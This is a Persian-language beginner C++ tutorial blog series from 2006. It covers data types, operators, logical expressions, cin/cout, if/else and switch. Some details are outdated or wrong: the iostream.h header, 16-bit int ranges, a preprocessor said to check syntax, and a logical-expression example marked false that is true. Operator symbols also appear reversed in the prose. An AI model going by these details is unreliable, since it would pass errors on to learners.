توجه داشته باشيد اگر دستور break بعد از هر مجموعه از دستورات استفاده نکنيم برنامه از ساختار switch خارج نخواهد شد و مجموعه دستورات بعدی اجرا می گردد تا به اولين دستور break برسد. اين مورد به ما امکان ايجاد حالتهای ترکيبی را می دهد. البته در به کار بردن اين تکنيک دقت لازم را بکنيد.

#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;

switch (x) {
case 1:
case 2:
case 3:
cout << "x is (1 or 2 or 3)";
break;
default:
cout << "x is not (1 or 2 or 3)";
}
return 0;
}

برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:

Please enter a number:1
x is (1 or 2 or 3)
Please enter a number:2
x is (1 or 2 or 3)
Please enter a number:5
x is not (1 or 2 or 3)

 
comment نظرات ()
 
 
قسمت نهم
نویسنده : Hossein - ساعت ۱۱:٥۳ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار انتخاب if/else

گاهی اوقات نياز داريم که در صورت برقرار بودن شرط خاصی يک سری دستورات اجرا و در صورت برقرار نبودن شرط دسته ای ديگر از دستورات اجرا گردند. به عنوان مثال اگر فردا باران بيايد من به کوه نمی روم در غير اين صورت من به کوه خواهم رفت؛ زبان ++C برای پياده سازی چنين ساختاری شيوه زير را در اختيار ما قرار داده است.

if (شرط مورد نظر)
دستور1 ;
else
دستور2 ;

اگر شرط برقرار باشد دستور1 اجرا می گردد و در غير اين صورت دستور2 اجرا می شود. به مثال زير توجه کنيد:

if ( x = = 50 )
cout << "x is 50";
else
cout << "x is not 50";

اگر مقدار متغير قبل از رسيدن به شرط فوق برابر 50 باشد عبارت "x is 50" برروی صفحه نمايش چاپ می شود در غير اين صورت عبارت "x is not 50" چاپ می شود.


بياد داشته باشيد اگر می خواهيد از بيش از يک دستور استفاده کنيد، حتماً آنها را با { } دسته بندی نماييد. به عنوان مثال:

if ( x > 50 )
{
cout << x;
cout << "is greater than 50";
}
else
{
cout << x;
cout << "is less than 50";
}

اگر متغير x حاوی عدد 100 باشد خروجی به صورت زير می باشد:

100 is greater than 50

و اگر متغير x عدد 10 باشد خروجی به صورت زير است:

10 is less than 50



از ساختارهای if/else های تو در تو می توان برای بررسی حالتهای چندگانه استفاده کرد. برنامه زير در همين رابطه است:

#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;

if ( x > 0 )
cout << x << "is positive.";
else
if ( x < 0 )
cout << x << "is negative.";
else
cout << "The number that you entered is 0.";
return 0;
}

برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:

Please enter a number : 10
10 is positive.
Please enter a number : -5
-5 is negative.
Please enter a number : 0
The number that you entered is 0.


نکته : برای وضوح برنامه پيشنهاد می شود همانند برنامه فوق هنگام استفاده از if يا if/else و يا ديگر ساختارهای کنترلی از تورفتگی های مناسب استفاده کنيد. يعنی به عنوان مثال دستور if را به صورت زير:

if ( x > 0 )
cout << x << "is positive.";

بنويسيم و نه به صورت زير :

if ( x > 0 )
cout << x << "is positive.";

 
comment نظرات ()
 
 
قسمت هشتم
نویسنده : Hossein - ساعت ۱۱:٤٤ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار انتخاب if

در برنامه نويسی مواردی پيش می آيد که بخواهيم دستور يا دستوراتی، هنگامی که شرط خاصی برقرار است، توسط برنامه به اجرا در آيد. اين مورد در زندگی روزمره نيز ديده می شود؛ به عنوان مثال " اگر فردا باران نيايد، من به کوه خواهم رفت." شرط مورد نظر نيامدن باران است و عملی که قرار است انجام شود رفتن به کوه می باشد. شيوه پياده سازی ساختار انتخاب if به صورت زير می باشد:


( شرط مورد نظر ) if
دستور مورد نظر ;

به مثال زير توجه کنيد:

if (x == 50)
cout << "x is 50";

اگر از دستور فوق در برنامه استفاده کنيم، اگر مقدار متغير x قبل از رسيدن به شرط فوق برابر 50 باشد عبارت "x is 50" بر روی صفحه نمايش ظاهر خواهد شد وگرنه دستور cout << "x is 50" ; ناديده گرفته می شود و برنامه خط بعدی را اجرا می کند.


توجه داشته باشيد که شرط مورد استفاده در دستور if هر عبارت منطقی می تواند باشد. در مبحث عبارات منطقی ، اينگونه عبارات و شيوه کاربرد آنها را به طور کامل بررسی کرديم.

اگر بخواهيم هنگامی که شرط برقرار می شود، بيش از يک دستور اجرا شود، بايد دستورات مورد نظر را با علامت { } دسته بندی کنيم، به مثال زير توجه کنيد:

if ( x==50 )
{
cout << "x is ";
cout << x;
}

قطعه کد فوق هنگامی که مقدار x عدد 50 باشد، عبارت "x is 50" را در صفحه نمايش چاپ می کند.


 

ولی در دستورات زير:

if ( x == 50)
cout << "x is ";
cout << x ;

خط آخر برنامه به هر جهت اجرا می شود. به عنوان مثال اگر فرض کنيم x برابر 50 است برنامه به درستی عبارت "x is 50" را چاپ می کند، اما اگر مثلاً x برابر 20 باشد عدد 20 بر روی صفحه نمايش ظاهر خواهد شد. چون عبارت ;cout < جز دستورات if قرار ندارد و يک دستور مجزا می باشد.


 

مورد اخير که توضيح داده شد يکی از مواردی است که بعضی از برنامه نويسان به اشتباه مرتکب آن می شوند. پس در هنگام نوشتن برنامه های خود به دسته بندی دستورات دقت کنيد.


 
comment نظرات ()
 
 
قسمت هفتم
نویسنده : Hossein - ساعت ۱۱:۳۸ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

برنامه جمع دو عدد

در مبحث قبلی برنامه ای را نوشتيم که در آن تنها از دستور cout استفاده شده بود و رشته ای را بر روی صفحه نمايش چاپ می کرد. برای اينکه با نحوه کاربرد متغيرها و شيوه مقدار دهی به آنها و نيز دستور cin آشنا شويد، در اينجا  برنامه جديدی را می نويسيم که دو عدد را از ورودی دريافت کرده و سپس آنها را جمع نموده و حاصل را در خروجی نمايش می دهد.

// Addition program.
#include <iostream.h>

// function main begins program execution
int main()
{
int integer1; // first number to be input by user
int integer2; // second number to be input by user
int sum; // variable in which sum will be stored

cout << "Enter first integer\n"; // prompt
cin >> integer1; // read an integer

cout << "Enter second integer\n"; // prompt
cin >> integer2; // read an integer

sum = integer1 + integer2; //assignment result to sum

cout << "Sum is " << sum << endl; // print sum

return 0; // indicate that program ended successfully

} // end function main

همانطور که در اين برنامه نيز می بينيد، تعدادی از دستورات برنامه قبلی تکرار شده اند. در اينجا به بررسی و توضيح دستورات جديد می پردازيم:

  int integer1; // first number to be input by user
int integer2; // second number to be input by user
int sum; // variable in which sum will be stored

سه دستور فوق وظيفه تخصيص حافظه به سه متغير integer1 و integer2 و sum از نوع عدد صحيح را دارند. انواع داده در مبحث مفاهيم حافظه و انواع داده توضيح داده شده اند. در ضمن به جای استفاده از سه دستور فوق می توانستيم از دستور زير نيز استفاده کنيم:

int integer1, integer2, sum;

نکته :

  • بعضی از برنامه نويسان ترجيح می دهند که هر متغير را در يک خط تعريف کنند و توضيحات لازم را در جلوی آن بنويسند.
  • متغير را می توان در هر جايی از برنامه تعريف کرد، ولی حتماً اين کار بايد قبل از اولين استفاده از متغير صورت گيرد، به عنوان مثال برنامه فوق را می توان به صورت زير نوشت:
    #include <iostream.h>

    int main()
    {
    cout << "Enter first integer\n";

    int integer1;
    cin >> integer1;

    cout << "Enter second integer\n";

    int integer2;
    cin >> integer2;

    int sum;
    sum = integer1 + integer2;

    cout << "Sum is " << sum << endl;

    return 0;
    }
  • اگر تعريف متغير را در بين دستورات اجرايی برنامه انجام می دهيد، يک خط خالی قبل از آن بگذاريد تا تعريف متغير مشخص باشد. اينکار به وضوح برنامه کمک می کند.
  • اگر تعريف متغيرها را در ابتدای برنامه انجام می دهد، يک خط خالی بعد از آنها بگذاريد تا از دستورات اجرايی جدا شوند. اينکار نيز به وضوح برنامه و سهولت اشکال زدايی کمک می کند.
cout << "Enter first integer \n";

دستور فوق رشته Enter first integer را بر روی صفحه نمايش نشان می دهد و به ابتدای سطر جديد می رود.

cin >> integer1;

دستور فوق با وارد کردن هر عدد و فشردن کليد Enter عدد وارد شده را در متغير integer1 قرار می دهد.

cout << "Enter second integer \n";
cin >> integer2;

دو دستور فوق نيز ابتدا عبارت Enter second integer را بر روی صفحه نمايش چاپ کرده و سپس در خط بعد عدد وارد شده از صفحه کليد را پس از فشردن کليد Enter در متغير integer2 قرار می دهد.

sum = integer1 + integer2;

دستور فوق حاصل جمع متغيرهای integer1 و integer2 را محاسبه و نتيجه را توسط عملگر انتساب (=) در متغير sum قرار می دهد.

cout << "Sum is " << sum << endl;

و در نهايت دستور فوق باعث نمايش حاصل جمع بر وی صفحه نمايش می شود.


 
comment نظرات ()
 
 
قسمت ششم
نویسنده : Hossein - ساعت ۱۱:۳٢ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

همانطور که در سازمان کامپيوتر گفته شد کامپيوتر دارای واحدهای ورودی و خروجی می باشد. واحد ورودی که ما در اينجا استفاده می کنيم صفحه کليد می باشد و واحد خروجی مورد استفاده نيز صفحه نمايش خواهد بود.


برای دريافت اطلاعات از صفحه کليد ، زبان ++C دستوری به نام cin را در اختيار ما قرار داده است، و برای ارسال اطلاعات به صفحه نمايش دستور cout موجود می باشد. توسط اين دو دستور شما می توانيد با نمايش اطلاعات بر روی صفحه نمايش و دريافت اطلاعات از صفحه کليد با کاربری که از برنامه شما استفاده می کند، در ارتباط باشيد.

دستور خروجی cout

دستور cout همراه علامت >> به کار می رود.

cout << "This is a test";

دستور فوق عبارت This is a test را بر روی صفحه نمايش چاپ می کند.

cout << 5120;

دستور فوق عدد 5120 را بر روی صفحه نمايش ظاهر می سازد.

cout << x;

دستور فوق محتويات متغير x را به صفحه نمايش می فرستد.

علامت >> با نام عملگر درج شناخته می شود و اطلاعاتی که بعد از اين علامت قرار می گيرند به واحد خروجی منتقل می شوند. در مثال های فوق يک عبارت رشته ای (This is a test) يک عدد (5120) و يک متغير (x) به واحد خروجی ارسال شدند. توجه داشته باشيد که در اولين مثال عبارت This is a test بين دو علامت (") قرار گرفت ، چون اين عبارت حاوی رشته ای از حروف می باشد؛ هرگاه که بخواهيم رشته ای از حروف را به کار ببريم بايد آنها را بين دو علامت (") قرار دهيم تا با نام متغيرها به اشتباه گرفته نشوند. به عنوان مثال، دستور زير:

cout << " Hello";

عبارت Hello را بر روی صفحه نمايش ظاهر می سازد ولی دستور زير:

cout << Hello;

محتويات متغيری با نام Hello را بر روی صفحه نمايش چاپ می کند.

عملگر درج ممکن است بيش از يک بار در يک جمله به کار رود، به عنوان مثال دستور زير:

cout << "Hello," << "I am" << "new in C++";

پيغام ++Hello, I am new in C را بر روی صفحه نمايش نشان می دهد.

تکرار استفاده از عملگر درج در يک دستور به ما اين امکان را می دهد که ترکيبی از متغير و رشته حروف را در کنار هم استفاده کنيم.

cout << "Hello, my code is" << code 
<< "and I am" << age << "years old.";

به عنوان مثال دستور فوق با فرض اينکه متغير code حاوی عدد 116223 و متغير age حاوی عدد 16 باشد عبارت زير را در صفحه نمايش ظاهر می سازد:

Hello, my code is 116223 and I am 16 years old.

توجه داشته باشيد که دستور cout عبارات را به صورت خودکار به خط بعد منتقل نمی کند، به عنوان مثال دستورهای زير:

cout << "This is a text.";
cout << "This is another text.";

علارقم اينکه از دستور cout در دو خط استفاده شده است، به صورت زير در صفحه نمايش نشان داده خواهد شد:

This is a text. This is another text.

برای اينکه عبارتی را در چند خط نمايش دهيم، برای انتقال به هر خط جديد از علامت n\ استفاده می کنيم. به عنوان مثال دستورات زير:

cout << "First sentence.\n";
cout << "Second sentence.\n Third sentence.";

به شکل زير در صفحه نمايش ديده خواهد شد:

First sentence.
Second sentence.
Third sentence.

علاوه بر علامت n\ می توان از دستور endl برای انتقال به خط جديد استفاده کرد به عنوان مثال دستورات :

cout << "First sentence." << endl;
cout << "Second sentence." << endl;

در صفحه نمايش به صورت زير ديده می شوند:

First sentence.
Second sentence.

دستور ورودی cin

دستور cin همراه علامت << به کار می رود.

int age;
cin >> age;

دستورات فوق ابتدا فضايی در حافظه برای متغير age در نظر می گيرند، سپس برنامه منتظر وارد کردن عددی از صفحه کليد می ماند تا عدد وارد شده را در متغير age قرار دهد. cin هنگامی قادر به دريافت اطلاعت از صفحه کليد خواهد بود که، کليد Enter بر روی صفحه کليد فشرده شود. به عنوان مثال اگر بخواهيم عدد 16 در متغير age قرار گيرد ابتدا عدد 16 را تايپ کرده سپس دکمه Enter را فشار می دهيم.

علامت >> با نام عملگر استخراج شناخته می شود، و اطلاعاتی که از واحد ورودی دريافت می شود در متغيری که بعد از اين علامت می باشد، قرار می گيرند. ضمناً شما می توانيد توسط يک دستور cin بيش از يک متغير را مقدار دهی کنيد.

به عنوان مثال دستورات زير معادل يکديگر می باشند:

cin >> a >> b;
cin >> a;
cin >> b;

 
comment نظرات ()
 
 
قسمت پنجم
نویسنده : Hossein - ساعت ۱۱:٢۸ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

عبارات منطقی

يک عبارت منطقی، عبارتی است با مقدار درست يا نادرست. به عنوان مثال 5 بزرگتر از 3 است، يک عبارت منطقی است با مقدار درست و 5 کوچکتر از 3 است، نيز يک عبارت منطقی است اما با مقدار نادرست. در کامپيوتر نتيجه عبارات منطقی درست عدد يک و نتيجه عبارات منطقی نادرست عدد صفر خواهد بود.

ضمناً کامپيوتر هر عدد مخالف صفر را به عنوان يک عبارت منطقی درست در نظر می گيرد.

عملگرهای رابطه ای

برای مقايسه دو متغير يا دو عبارت از عملگرهای رابطه ای استفاده می کنيم که همانطور که گفته شد دارای نتيجه درست يا نادرست می باشد. عملگرهای رابطه ای عبارتند از ==( مساوی )، =!( متفاوت )، <(بزرگتر از )، >( کوچکتر از )، =<( بزرگتر مساوی از )، =>( کوچکتر مساوی از ). به مثال های زير توجه کنيد.

ضمناً به جای اينکه فقط از اعداد در عبارتهای رابطه ای استفاده کنيم می توانيم از عبارتهايی شامل متغيرها و يا ترکيبی از متغيرها و اعداد استفاده کنيم به عنوان مثال فرض کنيد a = 2 و b=3 و c=6 خواهيم داشت:

(a==5)        ----->  نادرست
(a*b>=c) -----> درست
(b+4<a*c)) -----> نادرست
((b=2)==a)) -----> درست

توجه کنيد که عملگر = همانند عملگر == نمی باشد. اولی عملگر انتساب است که مقدار سمت راست را در متغير سمت چپ قرار می دهد و ديگری عملگر رابطه ای است که برابر بودن يا نبودن دو مقدار را با هم مقايسه می کند. بنابراين در عبارت ((b=2)==a)) ما ابتدا مقدار 2 را در متغير b قرار داديم سپس آن را با a مقايسه کرديم، لذا نتيجه اين مقايسه درست بود.

عملگرهای منطقی

عملگرهای منطقی عبارتند از ! ، || و && . نتيجه عملگر ! (NOT) وقتی درست است که عبارتی که اين عملگر بر روی آن عمل می کند نادرست باشد و نتيجه هنگامی نادرست است که عملوند آن درست باشد. ضمناً اين عملگر تنها يک عملوند دارد. در حقيقت اين عملگر نقيض عملوند خود را به عنوان نتيجه می دهد.

به مثال های زير توجه کنيد:

!(5 == 5)   ----> نادرست
!(6 <= 4) ----> درست
!0 ----> درست
!1 ----> نادرست

عملگرهای &&(AND) و ||(OR) هنگامی مورد استفاده قرار می گيرند که بخواهيم از دو عبارت يک نتيجه را بدست آوريم. نتيجه اين عملگرها بستگی به ارتباط بين دو عملوندشان طبق جدول زير دارد:

عملوند اول
b
عملوند دوم
a
نتيجه
a&&b
نتيجه
a||b
درست درست درست درست
درست نادرست نادرست درست
نادرست درست نادرست درست
نادرست نادرست نادرست نادرست

به مثال های زير توجه نمائيد:

((5==5)&&(3>6))   ----->  نادرست
((5==5)||(3>6)) -----> درست
((3-3)&&(3<5)) -----> نادرست
((3-3)||(3<5)) -----> درست

در مثال های زير به جای اعداد از متغير نيز استفاده شده است ( فرض کنيد a=1 و b=2 وc=3)

((b-2*a)&&(c==3))       ----->  نادرست
((b==2*a)&&(c!=4)) -----> نادرست
((c==a+b)||(b<a)) -----> درست
((b-c==-a)||(b-c==a)) -----> درست

عملگر شرطی

اين عملگر يک عبارت را مورد ارزيابی قرار می دهد و براساس عبارت ارزيابی شده مقادير متفاوتی را به عنوان نتيجه بر می گرداند. ساختار اين عملگر به صورت زير می باشد:

نتيجه 2 : نتيجه 1 ? شرط

اگر شرط برقرار باشد نتيجه 1 به عنوان خروجی خواهد بود در غير اين صورت نتيجه 2 به عنوان خروجی در نظر گرفته می شود. به مثال های زير توجه نماييد:

7==6?4:3   --->خروجی عدد3 می باشد چون7 مساوی 6 نمی باشد 
8==6+2?4:3 --->خروجی عدد4 می باشد چون8 مساوی 6+2می باشد
6>3?a:b --->خروجی a می باشد چون 6 از 3 بزرگتر است
a>b?a:b --->خروجی عدد بزرگتر می باشد a يا b

همانطور که در عملگرهای محاسباتی ديديم درک تقدم عملگرها، اهميت ويژه ای داشت در اينجا نيز دانستن اين تقدم از اهميت خاصی برخوردار می باشد، تقدم عملگرهای رابطه ای ، منطقی و شرطی به ترتيب عبارتند از:

1- !
2- => > =< <
3- =! ==
4- &&
5- ||
6- :?

به عنوان مثال مراحل بررسی عبارت مقابل به صورت زير می باشد:

2 >= 3 && 2 == 2 || 2 != 3
1 4 2 5 3

1 نادرست
2 درست
3 درست
4 نادرست && درست ----> نادرست
5 نادرست || درست ----> درست

جواب نهايی درست می باشد

پيشنهاد می شود برای جلوگيری از پيچيدگی فهم عبارتهای منطقی و يا محاسباتی تقدم های مورد نظر را با به کار بردن پرانتز کاملاً مشخص کنيم ، به عنوان مثال عبارت فوق را به صورت زير مورد استفاده قرار دهيم:

(((2 >= 3) && (2 == 2)) || (2 != 3))

 
comment نظرات ()
 
 
قسمت چهارم
نویسنده : Hossein - ساعت ۱۱:٢٦ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اعمال رياضی و محاسباتی

در مبحث حافظه با انواع داده و شيوه اختصاص دادن حافظه به متغيرها آشنا شديم حال می توانيم متغيرها را در محاسبات به کار ببريم. برای نيل به اين هدف ++C عملگرهايی را در اختيار ما قرار داده است.

عملگر انتساب (=)

عملگر تساوی جهت اختصاص دادن يک مقدار به يک متغير به کار می رود ، مانند a = 5 که عدد 5 را به متغير a تخصيص می دهد. جزئی که در سمت چپ تساوی قرار دارد همواره بايد نام يک متغير باشد، وجزء سمت راست تساوی می تواند يک عدد، يک متغير و يا ترکيبی از هر دو باشد. مانند: a=b+5 ، که در ايجا حاصل b + 5 در متغير a قرار می گيرد. توجه داشته باشيد که همواره مقدار سمت راست تساوی در مقدار سمت چپ قرار می گيرد. به دستورات زير توجه کنيد.

int a,b;
a = 10;
b = 4;
a = b;
b = 7;

اگر از دستورات فوق استفاده کنيم در نهايت مقدار a برابر 4 و مقدار b برابر 7 خواهد بود. ++C قابليتهای زيادی دارد يکی از اين قابليتها اينست که می توانيم چند دستور را در يک دستور خلاصه کنيم ، به عنوان مثال دستور :

a = 2 + (b = 5);

برابر است با:

b = 5;
a = 2 + b;

که هر دو عبارت در نهايت عدد 7 را در متغير a قرار می دهند.

ضمناً استفاده از عبارت زير نيز در ++C مجاز می باشد:

a = b = c = 5

عبارت فوق عدد 5 را به سه متغير a و b و c اختصاص می دهد.

عملگر های محاسباتی

پنج عملگر محاسباتی که قابل استفاده در زبان ++C هستند عبارتند از:

+     جمع
-     تفريق
*     ضرب
/     تقسيم
%     باقيمانده تقسيم

تنها عملگری که ممکن است برای شما ناشناس باشد عملگر % است. اين عملگر باقيمانده تقسيم دو عدد صحيح را به ما می دهد، به عنوان مثال اگر از دستور زير استفاده کنيم:

a = 11 % 3;

متغير a حاوی عدد 2 خواهد شد. چون عدد 2 باقيمانده تقسيم 11 بر 3 می باشد.

عملگر های انتساب مرکب

عملگرهای انتسال مرکب عبارتند از =+ ، =- ، =* ، =/ ، =% .اين عملگرها دو کار را با هم انجام می دهند و در کم شدن کد نويسی به ما کمک می کنند، به جای توضيح اضافی به مثال های زير که فهم مطلب را ساده تر می کند توجه کنيد:

value += increase;«برابر است با»value=value+increase;
a -= 5; «برابر است با»a = a - 5;
a /= b; «برابر است با»a = a / b;
price*=units+1; «برابر است با»price=price*(units+1);
x %= y * z; «برابر است با»x = x % (y * z);

عملگرهای افزايش و کاهش

گونه ای ديگر از عملگرها که در کم شدن کد نويسی به ما کمک می کنند عملگر افزايش(++) و عملگر کاهش(--) می باشند. عملگر افزايش(++) يک واحد به مقدار قبلی که در متغير بود اضافه می کند و عملگر کاهش(--) يک واحد از مقدار قبلی که در متغير بود کم می کند.

++a;      a++;      a += 1;      a = a + 1;

هر چهار دستور فوق يک واحد به مقدار قبلی متغير اضافه می کنند.

--a;      a--;      a -= 1;      a = a - 1;

هر چهار دستور فوق يک واحد از مقدار قبلی متغير کم می کنند.

اگر از دستورات ++a و a++ به تنهايی استفاده کنيم فرقی ندارد که ++ قبل از متغير قرار گيرد يا بعد از متغير. اما اگر از ++ در کنار عملگرهای ديگر استفاده شود، اگر ++ قبل از متغير قرار گيرد ابتدا يک واحد به متغير اضافه شده سپس در محاسبه استفاده می شود، ولی اگر ++ بعد از متغير قرار گيرد ابتدا متغير در محاسبه استفاده می شود سپس يک واحد به آن اضافه می شود. همين روال برای عملگر -- نيز برقرار است. به مثال های زير توجه کنيد:

b = 3;
a = ++b;
b = 3;
a = b++;

در مثال سمت چپ ابتدا يک واحد به b اضافه می شود، يعنی b مقدار 4 را می گيرد سپس عدد 4 در a قرار می گيرد؛ اما در مثال سمت راست ابتدا مقدار b يعنی عدد 3 در a قرار می گيرد سپس يک واحد به b اضافه می شود و مقدار 4 را می گيرد.

در اين مثال عدد 6 در m قرار می گيرد:

a = 2;
b = 3;
m = ++a + b--;

b مقدار 2 و a مقدار 3 را می گيرد.


حال که با انواع عملگرهای محاسباتی آشنا شديد عبارت زير را در نظر بگيريد.

y = 5 * 3 + 2 - 1 * 3 / 2;

مقداری که در y قرار می گيرد چه عددی می تواند باشد؟ 30 يا 24 يا 15.5 يا 17.5 . نظر شما چيست؟ شما مقدار y را چگونه حساب می کنيد؟

کامپيوتر برای بررسی و محاسبه چنين عبارتی برای اينکه با چندين جواب مواجه نشود قواعدی را در نظر می گيرد و طبق قوانين تقدم عملگرها عمل می کند. اين قوانين که مشابه قوانين جبر می باشند به ترتيب عبارتند از:

1- عملگرهايی که درون پرانتز قرار دارند اول محاسبه می شوند. در صورتی که پرانتزها تودرتو باشند ابتدا داخلی ترين پرانتز مورد بررسی و محاسبه قرار می گيرد.

2- اگر عبارتی حاوی * ، / و % باشد پس از پرانتز اين عملگرها در اولويت قرار دارند. اگر عبارتی حاوی ترکيبی از اين عملگرها باشد چون اين عملگرها در تقدم يکسانی نسبت به يکديگر قرار دارند، محاسبه به ترتيب از چپ به راست انجام می شود.

3- اعمال + و - در انتها انجام می شوند. اگر عبارتی شامل ترکيبی از اين دو عملگر باشد چون اين دو عملگر در تقدم يکسانی نسبت به هم هستند، محاسبه به ترتيب از چپ به راست انجام می شود.

با توجه به قواعد گفته شده حاصل عبارت فوق عدد 15.5 خواهد بود.



 
comment نظرات ()
 
 
قسمت سوم
نویسنده : Hossein - ساعت ۱۱:۱٢ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

مفاهيم حافظه و انواع داده

همانطور که در سازمان کامپيوتر گفتيم يکی از واحدهای کامپيوتر، واحد حافظه می باشد.


اين واحد که به آن RAM ( حافظه با دسترسی تصادفی Random Access Memory) نيز می گويند، برای ذخيره موقت داده ها و دستورالعملها تا هنگامی که به آنها احتياج شود استفاده می شود. اطلاعاتی که در RAM قرار دارند قابل پاک شدن و جايگزين شدن با داده های ديگر است. فضايی که ما در برنامه نويسی برای متغيرها و داده ها استفاده می کنيم در RAM قرار دارد. برای درک بهتر مطلب ، واحدهای اندازه گيری حافظه را بررسی می کنيم:

Bit بيت: يک بيت عنصری الکترونيکی در کامپيوتر است که دارای دو حالت روشن (1) و خاموش(0) می باشد و کوچکترين واحد اطلاعاتی است.

Byte بايت: چون بيتها واحدهای اطلاعاتی کوچکی هستند و فقط می توانند دو حالت را انتقال دهند، بنابراين آنها را در واحدهای بزرگتری سازماندهی می کنند تا اطلاعات بيشتری هر بار قابل انتقال باشد. اين واحد بزرگتر بايت است که واحد اصلی اطلاعات در سيستمهای کامپيوتری می باشد. هر 8 بيت ، يک بايت را تشکيل می دهند.

از واحدهای زير برای اندازه گيری حافظه استفاده می شود:

يک کيلو بايت 1 KB = 1024 B = 210 B

يک مگا بايت 1 MB = 1024 KB = 220 B

يک گيگا بايت 1 GB = 1024 MB = 230 B

ما در برنامه نويسی نياز به خانه های حافظه داريم. در تعريف خانه حافظه بايد نام و نوع اطلاعاتی که در آن قرار می گيرد معين شود.

نام متغيير      نوع داده ;
int i1,i2,index;

دستور فوق سه خانه حافظه با نامهای i1 وi2 وindex از نوع اعداد صحيح تعيين می کند، يعنی در هر کدام از خانه های حافظه فوق می توان يک عدد صحيح در بازه 32767 تا 32768- قرار داد. نوع داده int به دو بايت حافظه نياز دارد.

نکته :
  • هر دستور زبان ++C به ; ختم می شود.
  • برای نام گذاری خانه های حافظه فقط می توان از حروف، اعداد و ... استفاده کرد و نيز حرف اول نام يک متغير بايد يک حرف باشد. به عنوان مثال نامهای 1test و test!num و mark.1 اسامی غير مجاز می باشند.
  • بين حروف نام متغير نمی توان از کاراکتر فاصله استفاده کرد.
  • زبان ++C دارای تعدادی کلمات کليدی است که نمی توان از اين کلمات به عنوان نام متغير استفاده کرد. کلمات کليدی زبان ++C عبارتند از:
    asm auto break case cdecl char
    class const continue _cs default delete
    do double _ds else enum _es
    extern _export far _fastcall float for
    friend goto huge if inline int
    interrupt _loadds long near new operator
    pascal private protected public register return
    _saveregs _seg short signed sizeof _ss
    static struct switch template this typedef
    union unsigned virtual void volatile while

  • زبان ++C نسبت به حروف حساس است يعنی بين حروف کوچک و بزرگ تفاوت قائل می شود. در اين زبان تمام کلمات کليدی با حروف کوچک نوشته می شوند، به عنوان مثال short يک کلمه کليدی می باشد ولی SHORT يا shoRT کلمات کليدی نيستند. توصيه می شود که تمام برنامه های اين زبان با حروف کوچک نوشته شوند.

در زبان ++C چهار نوع داده اصلی وجود دارد که عبارتند از :

1- char : اين نوع داده برای ذخيره داده های کاراکتری مانند 'a' ، '1' ، '.' به کار می رود و بازه قابل قبول آن از 128- تا 127 می باشد. در حقيقت خانه های char نيز از نوع اعداد صحيح می باشند که يک بايت طول دارند و کد اسکی کاراکتر مورد نظر را در خود حفظ می کنند. به عنوان مثال کد اسکی کاراکتر A عدد 65 می باشد.

2- int : اين نوع داده برای ذخيره اعداد صحيح مانند 1300، 32000 ، 850- به کار می رود و بازه قابل قبول آن 32768- تا 32767 می باشد.

3- float : اين نوع داده برای ذخيره اعداد اعشاری مانند 12.5241 ، 1501.3- ، 1415.1234 به کار می رود و دقت آن تا 7 رقم اعشاری می باشد.

4- double : اين نوع داده برای ذخيره سازی اعداد اعشاری بزرگ به کار می رود و دقت آن از float بيشتر می باشد.

باکلماتی مانند signed ( علامت دار) ، unsigned ( بدون علامت)، short (کوتاه) و long ( بلند) انواع داده های جديدی می توان ايجاد کرد. نوع int با هر چهار کلمه فوق می تواند مورد استفاده قرار گيرد. نوع char می تواند با signed و unsigned به کار رود و نوع double می تواند با long به کار رود. به جدول زير توجه کنيد:

نوع داده طول داده بازه
unsigned char 8 bits 0 to 255
char 8 bits -128 to 127
enum 16 bits -32,768 to 32,767
unsigned int 16 bits 0 to 65,535
short int 16 bits -32,768 to 32,767
int 16 bits -32,768 to 32,767
unsigned long 32 bits 0 to 4,294,967,295
long 32 bits -2,147,483,648 to 2,147,483,647
float 32 bits 3.4 * (10**-38) to 3.4 * (10**+38)
double 64 bits 1.7 * (10**-308) to 1.7 * (10**+308)
long double 80 bits 3.4 * (10**-4932) to 1.1 * (10**+4932)

 
comment نظرات ()
 
 
قسمت دوم
نویسنده : Hossein - ساعت ۱۱:٠٧ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
معرفی ساختاری زبان ++C

++C عموماً از سه بخش تشکيل شده است:

- محيطی برای نوشتن برنامه و ويرايش آن.
- کامپايلر ++C.
- کتابخانه استاندارد ++C.

يک برنامه زبان ++C برای رسيدن به مرحله اجرا از شش مرحله عبور می کند.

مرحله اول : برنامه نويس، برنامه را در محيط ويرايشگر می نويسد و آن را بر روی ديسک ذخيره می کند.

مرحله دوم : برنامه پيش پردازنده، خطوط برنامه را از لحاظ ايردات نگارشی بررسی می کند، و در صورت وجود اشکال در برنامه پيغام خطائی داده می شود، تا برنامه نويس نسبت به رفع آن اقدام نمايد.

مرحله سوم : کامپايلر، برنامه را به زبان ماشين ترجمه می کند و آن را بر روی ديسک ذخيره می نمايد.

مرحله چهارم : پيوند دهنده، کدهای زبان ماشين را، به فايلهای کتابخانه هايی که مورد استفاده قرار گرفته اند پيوند می دهد و يک فايل قابل اجرا بر روی ديسک می سازد.

مرحله پنجم : بار کننده برنامه را در حافظه قرار می دهد.

مرحله ششم : واحد پردازش مرکزی کامپيوتر دستورات برنامه را اجرا می کند.


نکته : همانطور که گفته شد پيش پردازنده ايرادات برنامه را بررسی می کند و در صورتی که برنامه مشکلی نداشت در نهايت به زبان ماشين ترجمه می شود و قابليت اجرا پيدا می کند اما در هنگام اجرای برنامه نيز ممکن است خطايی بروز کند به عنوان مثال تقسيم بر صفر بوجود آيد. اين خطا قابل تشخيص توسط پيش پردازنده نيست و در زمان اجرای برنامه رخ می دهد و باعث خروج ناگهانی از برنامه می شود. به اينگونه خطاها، خطای زمان اجرا گفته می شود. تقسيم بر صفر جزء خطاهای مهلک است. خطای غير مهلک خطايی است که اجازه اجرای ادامه برنامه را می دهد ولی ممکن است نتايج غير صحيحی را به ما بدهد.


 
comment نظرات ()
 
 
